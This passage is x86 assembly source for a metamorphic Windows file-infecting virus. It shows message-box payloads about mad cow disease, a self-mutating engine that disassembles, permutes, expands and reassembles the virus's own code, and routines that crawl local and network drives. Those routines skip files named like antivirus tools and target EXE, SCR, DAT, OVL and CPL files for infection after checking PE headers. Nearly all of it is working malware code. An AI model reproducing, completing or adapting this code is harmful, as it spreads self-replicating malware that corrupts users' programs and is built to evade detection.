|
call Random
|
|
and eax, 00000000h
|
|
add eax, 'amre' ;; "erma"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00000000h
|
|
add eax, ' yn' ;; "ny "
|
|
mov [edx], eax
|
|
@@TruncatePayload:
|
|
pop edx
|
|
; "[CJD] Creutzfeldt-Jakob Disease"
|
|
; and sometimes "by Neurobasher/Germany"
|
|
push eax ; first part with random upcases and lowcases.
|
|
push ecx
|
|
push edx
|
|
|
|
xor eax, eax
|
|
push eax
|
|
mov eax, edx
|
|
push eax
|
|
push eax
|
|
xor eax, eax
|
|
push eax
|
|
call dword ptr [ebp+RVA_MessageBoxA]
|
|
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
jmp @@EndPayload
|
|
|
|
@@CheckPayload2:
|
|
call Random
|
|
and eax, 1FFh
|
|
jnz @@CheckPayload3
|
|
push edx
|
|
xor eax, eax
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'IVOB' ;; "BOVI"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20002020h
|
|
add eax, 'S EN' ;; "NE S"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'GNOP' ;; "PONG"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'ROFI' ;; "IFOR"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20002020h
|
|
add eax, 'NE M' ;; "M EN"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'HPEC' ;; "CEPH"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'POLA' ;; "ALOP"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00202020h
|
|
add eax, ' YTA' ;; "ATY "
|
|
mov [edx], eax
|
|
pop edx
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
xor eax, eax
|
|
push eax
|
|
mov eax, edx
|
|
push eax
|
|
push eax
|
|
xor eax, eax
|
|
push eax
|
|
call dword ptr [ebp+RVA_MessageBoxA]
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
@@CheckPayload3:
|
|
call Random
|
|
and eax, 1FFh
|
|
jnz @@EndPayload
|
|
push edx
|
|
xor eax, eax
|
|
call Random
|
|
and eax, 00202020h
|
|
add eax, ' DAM' ;; "MAD "
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00202020h
|
|
add eax, ' WOC' ;; "COW "
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'ESID' ;; "DISE"
|
|
mov [edx], eax
|
|
add edx, 4
|
|
call Random
|
|
and eax, 00202020h
|
|
add eax, ' ESA' ;; "ASE "
|
|
mov [edx], eax
|
|
pop edx
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
xor eax, eax
|
|
push eax
|
|
mov eax, edx
|
|
push eax
|
|
push eax
|
|
xor eax, eax
|
|
push eax
|
|
call dword ptr [ebp+RVA_MessageBoxA]
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
@@EndPayload:
|
|
|
|
@@NoPayload:
|
|
|
|
|
|
mov esi, [ebp+_DISASM_SECTION]
|
|
add esi, ebp
|
|
xor eax, eax
|
|
push esi
|
|
@@LoopGarbleSect_01:
|
|
mov ebx, eax
|
|
add eax, 1
|
|
mov ecx, eax
|
|
add eax, 1
|
|
mov edx, eax
|
|
add eax, 1
|
|
push eax
|
|
call Xp_GarbleRegisters
|
|
pop eax
|
|
mov [esi], ebx
|
|
mov [esi+4], ecx
|
|
mov [esi+8], edx
|
|
add esi, 0Ch
|
|
cmp eax, 6
|
|
jnz @@LoopGarbleSect_01
|
|
|
|
pop esi
|
|
push esi
|
|
mov ecx, 2
|
|
@@LoopGarbleSect_02:
|
|
push ecx
|
|
mov ebx, [esi]
|
|
mov ecx, [esi+08h]
|
|
mov edx, [esi+10h]
|
|
call Xp_GarbleRegisters
|
|
mov [esi], ebx
|
|
mov [esi+08h], ecx
|
|
mov [esi+10h], edx
|
|
pop ecx
|
|
add esi, 4
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopGarbleSect_02
|
|
pop esi
|
|
|
|
mov ecx, 6
|
|
xor edx, edx
|
|
@@LoopGarbleSect_03:
|
|
call Random
|
|
and eax, 7FFFh
|
|
add edx, eax
|
|
|
|
mov eax, [esi]
|
|
or eax, eax
|
|
jz @@GarbleSect_CodeSection
|
|
cmp eax, 1
|
|
jz @@GarbleSect_DisasmSection
|
|
cmp eax, 2
|
|
jz @@GarbleSect_BuffersSection
|
|
cmp eax, 3
|
|
jz @@GarbleSect_DataSection
|
|
cmp eax, 4
|
|
jnz @@GarbleSect_Next
|
|
@@GarbleSect_Disasm2Section:
|
|
mov [ebp+New_DISASM2_SECTION], edx
|
|
add edx, 100000h
|
|
jmp @@GarbleSect_Next
|
|
@@GarbleSect_CodeSection:
|
|
mov [ebp+New_CODE_SECTION], edx
|
|
add edx, 80000h
|
|
jmp @@GarbleSect_Next
|
|
@@GarbleSect_DisasmSection:
|
|
mov [ebp+New_DISASM_SECTION], edx
|
|
add edx, 100000h
|
|
jmp @@GarbleSect_Next
|
|
@@GarbleSect_BuffersSection:
|
|
mov [ebp+New_BUFFERS_SECTION], edx
|
|
add edx, 60000h
|
|
jmp @@GarbleSect_Next
|
|
@@GarbleSect_DataSection:
|
|
mov [ebp+New_DATA_SECTION], edx
|
|
add edx, 20000h
|
|
@@GarbleSect_Next:
|
|
add esi, 4
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopGarbleSect_03
|
|
|
|
|
|
mov eax, [ebp+_DISASM_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+InstructionTable], eax
|
|
mov eax, [ebp+_LABEL_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+LabelTable], eax
|
|
mov eax, [ebp+_BUFFER1_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+FutureLabelTable], eax
|
|
mov eax, [ebp+_DISASM2_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+PathMarksTable], eax
|
|
|
|
mov esi, [ebp+_CODE_SECTION]
|
|
add esi, ebp
|
|
call DisasmCode
|
|
nop
|
|
|
|
|
|
mov [ebp+AddressOfLastInstruction], edi
|
|
|
|
call ShrinkCode
|
|
|
|
mov eax, [ebp+_VARIABLE_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+VariableTable], eax
|
|
mov eax, [ebp+_VAR_MARKS_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+VarMarksTable], eax
|
|
|
|
mov ecx, [ebp+DeltaRegister]
|
|
|
|
|
|
call IdentifyVariables
|
|
|
|
|
|
mov eax, [ebp+_BUFFER1_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+FramesTable], eax
|
|
mov eax, [ebp+_DISASM2_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+PermutationResult], eax
|
|
mov eax, [ebp+_BUFFER2_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+JumpsTable], eax
|
|
call PermutateCode
|
|
|
|
|
|
mov eax, [ebp+PermutationResult]
|
|
mov [ebp+InstructionTable], eax
|
|
|
|
xor eax, eax
|
|
mov [ebp+CreatingADecryptor], eax
|
|
|
|
mov eax, [ebp+_DISASM_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+ExpansionResult], eax
|
|
xor eax, eax
|
|
mov [ebp+SizeOfExpansion], eax
|
|
call XpandCode
|
|
|
|
mov eax, [ebp+ExpansionResult]
|
|
mov [ebp+InstructionTable], eax
|
|
mov eax, [ebp+_DISASM2_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+NewAssembledCode], eax
|
|
|
|
mov eax, [ebp+_VARIABLE_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+NewLabelTable], eax
|
|
mov eax, [ebp+_BUFFER1_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+JumpRelocationTable], eax
|
|
call AssembleCode
|
|
|
|
|
|
mov eax, [ebp+_DISASM_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+DecryptorPseudoCode], eax
|
|
add eax, 80000h
|
|
mov [ebp+AssembledDecryptor], eax
|
|
|
|
mov eax, [ebp+_BUFFER2_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+FindFileData], eax
|
|
mov eax, [ebp+_BUFFER1_SECTION]
|
|
add eax, ebp
|
|
mov [ebp+OtherBuffers], eax
|
|
call InfectFiles
|
|
@@Error:
|
|
ret
|
|
Main endp
|
|
|
|
;----------------------------------------------------------------------------------------
|
|
IdentifyVariables proc
|
|
mov esi, [ebp+InstructionTable]
|
|
mov edi, [ebp+VariableTable]
|
|
xor eax, eax
|
|
mov [ebp+NumberOfVariables], eax
|
|
|
|
@@LoopGetVar:
|
|
xor eax, eax
|
|
mov al, [esi]
|
|
cmp eax, 0FCh
|
|
jz @@NextInstruction
|
|
call CheckIfInstructionUsesMem
|
|
|
|
or eax, eax
|
|
jz @@NextInstruction
|
|
mov al, [esi+1]
|
|
cmp eax, ecx
|
|
jz @@DeltaOffsetAt1
|
|
mov al, [esi+2]
|
|
cmp eax, ecx
|
|
jz @@DeltaOffsetAt2
|
|
@@NextInstruction:
|
|
add esi, 10h
|
|
cmp esi, [ebp+AddressOfLastInstruction]
|
|
jnz @@LoopGetVar
|
|
jmp @@SelectNewVariables
|
|
@@DeltaOffsetAt1:
|
|
mov al, [esi+2]
|
|
jmp @@Continue_01
|
|
@@DeltaOffsetAt2:
|
|
mov al, [esi+1]
|
|
@@Continue_01:
|
|
cmp eax, 8
|
|
jnz @@NextInstruction
|
|
mov eax, [esi+3]
|
|
mov edx, [ebp+VariableTable]
|
|
mov ebx, [ebp+NumberOfVariables]
|
|
|
|
sub eax, [ebp+_DATA_SECTION]
|
|
and eax, 0FFFFFFF8h
|
|
@@LookForVariable:
|
|
or ebx, ebx
|
|
jz @@InsertVariable
|
|
cmp eax, [edx]
|
|
jz @@VariableExists
|
|
add edx, 4
|
|
sub ebx, 4
|
|
jmp @@LookForVariable
|
|
@@InsertVariable:
|
|
mov [edx], eax
|
|
mov eax, [ebp+NumberOfVariables]
|
|
add eax, 4
|
|
mov [ebp+NumberOfVariables], eax
|
|
@@VariableExists:
|
|
mov eax, 00000809h
|
|
mov [esi+1], eax
|
|
mov [esi+3], edx
|
|
jmp @@NextInstruction
|
|
|
|
@@SelectNewVariables:
|
|
mov ecx, 20000h / 4
|
|
mov edi, [ebp+VarMarksTable]
|
|
xor eax, eax
|
|
@@LoopInitializeMarks:
|
|
mov [edi], eax
|
|
add edi, 4
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopInitializeMarks
|
|
|
|
|
|
|
|
mov ecx, [ebp+NumberOfVariables]
|
|
mov ebx, [ebp+VariableTable]
|
|
@@LoopGetNewVar:
|
|
call Random
|
|
and eax, 01FFF8h
|
|
add eax, [ebp+VarMarksTable]
|
|
|
|
mov edx, [eax]
|
|
or edx, edx
|
|
jnz @@LoopGetNewVar
|
|
|
|
mov edx, 1
|
|
mov [eax], edx
|
|
sub eax, [ebp+VarMarksTable]
|
|
push ebx
|
|
mov ebx, eax
|
|
call Random
|
|
and eax, 3
|
|
add eax, ebx
|
|
pop ebx
|
|
mov [ebx], eax
|
|
add ebx, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@LoopGetNewVar
|
|
|
|
ret
|
|
IdentifyVariables endp
|
|
|
|
;----------------------------------------------------------------------------------------
|
|
PermutateCode proc
|
|
xor eax, eax
|
|
mov [ebp+NumberOfJumps], eax
|
|
mov edi, [ebp+FramesTable]
|
|
mov ecx, [ebp+AddressOfLastInstruction]
|
|
mov eax, [ebp+InstructionTable]
|
|
mov esi, eax
|
|
sub ecx, eax
|
|
|
|
@@NextFrame:
|
|
call Random
|
|
and eax, 0F0h
|
|
cmp eax, 050h
|
|
jb @@NextFrame
|
|
add eax, 0F0h
|
|
mov [edi], esi
|
|
add esi, eax
|
|
mov [edi+4], esi
|
|
mov ebx, esi
|
|
@@LoopCheckInst00:
|
|
sub ebx, 10h
|
|
cmp ebx, [edi]
|
|
jz @@CheckInst_Next00
|
|
mov edx, [ebx]
|
|
and edx, 0FFh
|
|
cmp edx, 0FFh
|
|
jz @@LoopCheckInst00
|
|
cmp edx, 0EAh
|
|
jnz @@CheckInst_Next00
|
|
@@LoopCheckInst01:
|
|
add ebx, 10h
|
|
cmp ebx, [ebp+AddressOfLastInstruction]
|
|
jz @@CheckInst_Next00
|
|
mov edx, [ebx]
|
|
and edx, 0FFh
|
|
cmp edx, 0FFh
|
|
jz @@LoopCheckInst01
|
|
cmp edx, 0F6h
|
|
jnz @@CheckInst_Next00
|
|
add ebx, 10h
|
|
sub ebx, esi
|
|
add eax, ebx
|
|
add esi, ebx
|
|
mov [edi+4], esi
|
|
@@CheckInst_Next00:
|
|
mov ebx, esi
|
|
jmp @@DontAdd10hYet
|
|
@@LoopCheckInst02:
|
|
add ebx, 10h
|
|
@@DontAdd10hYet:
|
|
cmp ebx, [ebp+AddressOfLastInstruction]
|
|
jz @@CheckInst_Next01
|
|
mov edx, [ebx]
|
|
and edx, 0FFh
|
|
cmp edx, 0FFh
|
|
jz @@LoopCheckInst02
|
|
cmp edx, 0E9h
|
|
jz @@CheckInst_IncludeInstruction
|
|
cmp edx, 0FEh
|
|
jz @@CheckInst_IncludeInstruction
|
|
cmp edx, 0EBh
|
|
jz @@CheckInst_IncludeInstruction
|
|
cmp edx, 0EDh
|
|
jz @@CheckInst_IncludeInstruction
|
|
cmp edx, 70h
|
|
jb @@CheckInst_Next01
|
|
cmp edx, 7Fh
|
|
ja @@CheckInst_Next01
|
|
|
|
|
|
@@CheckInst_IncludeInstruction:
|
|
add ebx, 10h
|
|
push ebx
|
|
sub ebx, esi
|
|
add eax, ebx
|
|
add esi, ebx
|
|
mov [edi+4], esi
|
|
pop ebx
|
|
jmp @@DontAdd10hYet
|
|
@@CheckInst_Next01:
|
|
add edi, 8
|
|
sub ecx, eax
|
|
cmp ecx, 01E0h
|
|
jae @@NextFrame
|
|
or ecx, ecx
|
|
jz @@FramesCreationFinished
|
|
mov [edi], esi
|
|
add esi, ecx
|
|
mov [edi+4], esi
|
|
add edi, 8
|
|
@@FramesCreationFinished:
|
|
mov [ebp+AddressOfLastFrame], edi
|
|
@@TempLabel:
|
|
|
|
mov eax, edi
|
|
mov ebx, [ebp+FramesTable]
|
|
sub eax, ebx
|
|
|
|
mov ebx, 8
|
|
@@LoopCalculateMOD:
|
|
shl ebx, 1
|
|
cmp ebx, eax
|
|
jb @@LoopCalculateMOD
|
|
sub ebx, 8
|
|
mov [ebp+MODValue], ebx
|
|
|
|
|
|
|
|
mov esi, [ebp+FramesTable]
|
|
mov [ebp+PositionOfFirstInstruction], esi
|
|
|
|
mov edx, esi
|
|
@@LoopExchange:
|
|
call Random
|
|
mov ebx, [ebp+MODValue]
|
|
and eax, ebx
|
|
add eax, esi
|
|
|
|
; ; Uncommenting this instruction the engine doesn't permutate anything
|
|
; mov eax, edx
|
|
|
|
cmp eax, edi
|
|
jae @@LoopExchange
|
|
mov ecx, [eax]
|
|
mov ebx, [edx]
|
|
mov [eax], ebx
|
|
mov [edx], ecx
|
|
cmp edx, [ebp+PositionOfFirstInstruction]
|
|
jnz @@LookEAX
|
|
mov [ebp+PositionOfFirstInstruction], eax
|
|
jmp @@ExchangeNext
|
|
@@LookEAX:
|
|
cmp eax, [ebp+PositionOfFirstInstruction]
|
|
jnz @@ExchangeNext
|
|
mov [ebp+PositionOfFirstInstruction], edx
|
|
@@ExchangeNext:
|
|
add eax, 4
|
|
add edx, 4
|
|
mov ecx, [eax]
|
|
mov ebx, [edx]
|
|
mov [eax], ebx
|
|
mov [edx], ecx
|
|
add edx, 4
|
|
cmp edx, edi
|
|
jb @@LoopExchange
|
|
|
|
|
|
mov esi, [ebp+InstructionTable]
|
|
mov edi, [ebp+PermutationResult]
|
|
mov ebx, [ebp+FramesTable]
|
|
|
|
mov eax, [ebp+PositionOfFirstInstruction]
|
|
cmp ebx, eax
|
|
jnz @@InsertJump2
|
|
@@LoopCopyFrame:
|
|
mov eax, 0FFh
|
|
mov [ebp+Permut_LastInstruction], eax
|
|
mov edx, [ebx]
|
|
add ebx, 4
|
|
mov ecx, [ebx]
|
|
add ebx, 4
|
|
@@LoopCopyInstructions:
|
|
mov eax, [edx]
|
|
cmp al, 4Fh
|
|
jnz @@NextInstruction
|
|
mov al, 51h
|
|
mov [edx], eax
|
|
push eax
|
|
push ebx
|
|
mov ebx, [edx+7]
|
|
mov eax, 59h
|
|
mov [ebx], al
|
|
pop ebx
|
|
pop eax
|
|
@@NextInstruction:
|
|
mov [edi], eax
|
|
mov eax, [edx+4]
|
|
mov [edi+4], eax
|
|
mov eax, [edx+8]
|
|
mov [edi+8], eax
|
|
mov [edi+0Ch], edx
|
|
mov [edx+0Ch], edi
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jz @@NextInstruction2
|
|
@@SetLastInstruction:
|
|
mov [ebp+Permut_LastInstruction], eax
|
|
jmp @@NextInstruction3
|
|
@@NextInstruction2:
|
|
mov eax, [edi+0Bh]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@SetLastInstruction
|
|
@@NextInstruction3:
|
|
add edi, 10h
|
|
add edx, 10h
|
|
cmp edx, ecx
|
|
jnz @@LoopCopyInstructions
|
|
mov eax, [ebp+AddressOfLastFrame]
|
|
cmp ebx, eax
|
|
jae @@LastFrameArrived
|
|
mov eax, [ebx]
|
|
cmp eax, edx
|
|
jz @@LoopTestIfLastFrame
|
|
|
|
@@LastFrameArrived:
|
|
mov eax, [ebp+Permut_LastInstruction]
|
|
cmp eax, 0E9h
|
|
jz @@LoopTestIfLastFrame
|
|
cmp eax, 0EBh
|
|
jz @@LoopTestIfLastFrame
|
|
cmp eax, 0EDh
|
|
jz @@LoopTestIfLastFrame
|
|
cmp eax, 0FEh
|
|
jz @@LoopTestIfLastFrame
|
|
mov [edi+1], edx
|
|
@@InsertJump:
|
|
mov eax, 0E9h
|
|
mov [edi], al
|
|
|
|
call InsertJumpInTable
|
|
add edi, 10h
|
|
@@LoopTestIfLastFrame:
|
|
mov eax, [ebp+AddressOfLastFrame]
|
|
cmp ebx, eax
|
|
jae @@End
|
|
jmp @@LoopCopyFrame
|
|
@@InsertJump2:
|
|
mov eax, [eax]
|
|
mov [edi+1], eax
|
|
jmp @@InsertJump
|
|
|
|
@@End: mov [ebp+AddressOfLastInstruction], edi
|
|
|
|
mov ecx, [ebp+NumberOfLabels]
|
|
mov edx, [ebp+LabelTable]
|
|
@@LoopUpdateLabel:
|
|
mov eax, [edx+4]
|
|
mov ebx, [eax+0Ch]
|
|
|
|
mov [edx], ebx
|
|
add edx, 8
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopUpdateLabel
|
|
|
|
mov ecx, [ebp+NumberOfJumps]
|
|
mov ebx, [ebp+JumpsTable]
|
|
jmp @@CheckNumberOfJumps
|
|
@@LoopUpdateJumps:
|
|
mov esi, [ebx]
|
|
mov eax, [esi+1]
|
|
mov edi, [eax+0Ch]
|
|
mov [edx], edi
|
|
mov [edx+4], eax
|
|
mov [esi+1], edx
|
|
mov eax, [ebp+NumberOfLabels]
|
|
add eax, 1
|
|
mov [ebp+NumberOfLabels], eax
|
|
add edx, 8
|
|
add ebx, 4
|
|
sub ecx, 4
|
|
@@CheckNumberOfJumps:
|
|
or ecx, ecx
|
|
jnz @@LoopUpdateJumps
|
|
ret
|
|
PermutateCode endp
|
|
|
|
Random proc
|
|
push edx
|
|
push ecx
|
|
mov eax, [ebp+RndSeed1]
|
|
mov ecx, [ebp+RndSeed2]
|
|
add eax, ecx
|
|
call RandomMod1
|
|
xor eax, [ebp+RndSeed1]
|
|
mov [ebp+RndSeed1], eax
|
|
|
|
mov ecx, eax
|
|
mov eax, [ebp+RndSeed2]
|
|
add [ebp+RndSeed2], ecx
|
|
call RandomMod2
|
|
xor eax, [ebp+RndSeed2]
|
|
mov [ebp+RndSeed2], eax
|
|
xor eax, [ebp+RndSeed1]
|
|
call RandomMod2
|
|
pop ecx
|
|
pop edx
|
|
ret
|
|
Random endp
|
|
|
|
RandomMod1 proc
|
|
mov edx, eax
|
|
and edx, 1FFFh
|
|
shl edx, 13h
|
|
and eax, 0FFFFFE00h
|
|
shr eax, 0Dh
|
|
or eax, edx
|
|
add eax, ecx
|
|
ret
|
|
RandomMod1 endp
|
|
|
|
RandomMod2 proc
|
|
mov edx, eax
|
|
and edx, 1FFFFh
|
|
shl edx, 0Fh
|
|
and eax, 0FFFFE000h
|
|
shr eax, 11h
|
|
or eax, edx
|
|
add eax, ecx
|
|
ret
|
|
RandomMod2 endp
|
|
|
|
InsertJumpInTable proc
|
|
mov ecx, [ebp+NumberOfJumps]
|
|
mov edx, [ebp+JumpsTable]
|
|
add edx, ecx
|
|
mov [edx], edi
|
|
add ecx, 4
|
|
mov [ebp+NumberOfJumps], ecx
|
|
ret
|
|
InsertJumpInTable endp
|
|
|
|
;----------------------------------------------------------------------------------------
|
|
|
|
InfectFiles proc
|
|
call Random
|
|
and eax, 3
|
|
jnz @@DontLoop
|
|
@@LoopAgain:
|
|
call Random
|
|
and eax, 0FFh
|
|
jnz @@LoopAgain
|
|
@@DontLoop:
|
|
xor eax, eax
|
|
mov [ebp+DirectoryDeepness], eax
|
|
|
|
call InfectFiles2
|
|
|
|
mov ebx, [ebp+FindFileData]
|
|
add ebx, 1000h
|
|
@@LoopGetDrives:
|
|
xor eax, eax
|
|
mov [ebp+DirectoryDeepness], eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
mov eax, [ebp+FindFileData]
|
|
add eax, 1000h
|
|
push eax
|
|
mov eax, 200h
|
|
push eax
|
|
call dword ptr [ebp+RVA_GetLogicalDriveStringsA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error2
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
mov eax, ebx
|
|
push eax
|
|
call dword ptr [ebp+RVA_GetDriveTypeA]
|
|
mov [ebp+ReturnValue], eax
|
|
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
cmp eax, 3
|
|
jz @@InfectDrive
|
|
cmp eax, 4
|
|
jnz @@NextDrive
|
|
cmp eax, 6
|
|
|
|
@@InfectDrive:
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
mov eax, ebx
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error2
|
|
|
|
push ebx
|
|
call InfectFiles2
|
|
pop ebx
|
|
|
|
@@NextDrive:
|
|
|
|
@@LoopFindNull:
|
|
add ebx, 1
|
|
mov eax, [ebx]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@LoopFindNull
|
|
add ebx, 1
|
|
mov eax, [ebx]
|
|
and eax, 0FFh
|
|
or eax, eax
|
|
jnz @@LoopGetDrives
|
|
@@Error2:
|
|
ret
|
|
InfectFiles endp
|
|
|
|
InfectFiles2 proc
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
mov eax, [ebp+FindFileData]
|
|
push eax
|
|
mov edx, [ebp+OtherBuffers]
|
|
push edx
|
|
|
|
mov eax, '*.*'
|
|
mov [edx], eax
|
|
|
|
call dword ptr [ebp+RVA_FindFirstFileA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
cmp eax, -1
|
|
jz @@Error
|
|
mov [ebp+hFindFile], eax
|
|
@@TouchAgain:
|
|
mov edx, [ebp+FindFileData]
|
|
mov eax, [edx]
|
|
and eax, 10h
|
|
or eax, eax
|
|
jz @@TryToInfectFile
|
|
|
|
|
|
mov eax, [ebp+DirectoryDeepness]
|
|
cmp eax, 5
|
|
jz @@InfectNextFile
|
|
mov eax, [edx+2Ch]
|
|
and eax, 0FFFFFFh
|
|
cmp eax, '..'
|
|
jz @@InfectNextFile
|
|
and eax, 0FFFFh
|
|
cmp eax, '.'
|
|
jz @@InfectNextFile
|
|
and eax, 01Fh
|
|
cmp eax, 'W' AND 1Fh
|
|
jz @@InfectNextFile
|
|
|
|
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
mov eax, edx
|
|
add eax, 2Ch
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@InfectNextFile
|
|
|
|
mov eax, [ebp+DirectoryDeepness]
|
|
add eax, 1
|
|
mov [ebp+DirectoryDeepness], eax
|
|
|
|
mov eax, [ebp+hFindFile]
|
|
push eax
|
|
call InfectFiles2
|
|
pop eax
|
|
mov [ebp+hFindFile], eax
|
|
|
|
mov eax, [ebp+DirectoryDeepness]
|
|
sub eax, 1
|
|
mov [ebp+DirectoryDeepness], eax
|
|
|
|
mov edx, [ebp+FindFileData]
|
|
mov eax, '..'
|
|
mov [edx], eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
mov eax, edx
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
|
|
mov [ebp+ReturnValue], eax
|
|
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error2
|
|
jmp @@InfectNextFile
|
|
|
|
|
|
@@TryToInfectFile:
|
|
xor eax, eax
|
|
mov eax, 3
|
|
call Random
|
|
and eax, 1
|
|
jnz @@InfectNextFile
|
|
|
|
mov edx, [ebp+FindFileData]
|
|
add edx, 2Ch
|
|
|
|
|
|
mov eax, [edx]
|
|
and eax, 1F1F1F1Fh
|
|
cmp eax, 'itna' AND 1F1F1F1Fh
|
|
jz @@InfectNextFile
|
|
|
|
mov eax, [edx]
|
|
and eax, 1F1Fh
|
|
cmp eax, '-F' AND 1F1Fh
|
|
jz @@InfectNextFile
|
|
cmp eax, 'AP' AND 1F1Fh
|
|
jz @@InfectNextFile
|
|
cmp eax, 'CS' AND 1F1Fh
|
|
jz @@InfectNextFile
|
|
cmp eax, 'RD' AND 1F1Fh
|
|
jz @@InfectNextFile
|
|
cmp eax, 'ON' AND 1F1Fh
|
|
jz @@InfectNextFile
|
|
cmp eax, 'EI' AND 1F1Fh
|
|
jz @@InfectNextFile
|
|
cmp eax, 'XE' AND 1F1Fh
|
|
jz @@InfectNextFile
|
|
cmp eax, 'OW' AND 1F1Fh
|
|
jz @@InfectNextFile
|
|
|
|
mov ebx, edx
|
|
@@LoopFindExtension:
|
|
mov eax, [ebx]
|
|
and eax, 01Fh
|
|
cmp eax, 'V' AND 1Fh
|
|
jz @@InfectNextFile
|
|
cmp eax, '0' AND 1Fh
|
|
or eax, eax
|
|
jz @@CheckExtension
|
|
add ebx, 1
|
|
jmp @@LoopFindExtension
|
|
@@CheckExtension:
|
|
mov eax, [ebx-4]
|
|
and eax, 1F1F1FFFh
|
|
cmp eax, 'EXE.' AND 1F1F1FFFh
|
|
jz @@InfectFile
|
|
cmp eax, 'RCS.' AND 1F1F1FFFh
|
|
jz @@InfectFile
|
|
cmp eax, 'TAD.' AND 1F1F1FFFh
|
|
jz @@InfectFile
|
|
cmp eax, 'LVO.' AND 1F1F1FFFh
|
|
jz @@InfectFile
|
|
cmp eax, 'LPC.' AND 1F1F1FFFh
|
|
jnz @@InfectNextFile
|
|
|
|
@@InfectFile:
|
|
call TouchFile
|
|
@@InfectNextFile:
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
mov eax, [ebp+FindFileData]
|
|
push eax
|
|
mov eax, [ebp+hFindFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_FindNextFileA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jnz @@TouchAgain
|
|
@@Error2:
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
mov eax, [ebp+hFindFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_FindClose]
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
@@Error:
|
|
ret
|
|
InfectFiles2 endp
|
|
|
|
PrepareFile proc
|
|
mov eax, [ebp+MappingAddress]
|
|
mov ebx, [eax]
|
|
and ebx, 0FFFFh
|
|
cmp ebx, 0+'ZM'
|
|
jnz @@Error
|
|
mov ebx, [eax+18h]
|
|
and ebx, 0FFh
|
|
cmp ebx, 40h
|
|
jnz @@Error
|
|
mov ebx, [eax+3Ch]
|
|
add ebx, eax
|
|
mov ecx, [ebx]
|
|
cmp ecx, 0+'EP'
|
|
jnz @@Error
|
|
|
|
mov [ebp+HeaderAddress], ebx
|
|
|
|
mov ecx, [ebx+58h]
|
|
or ecx, ecx
|
|
jnz @@Error
|
|
|
|
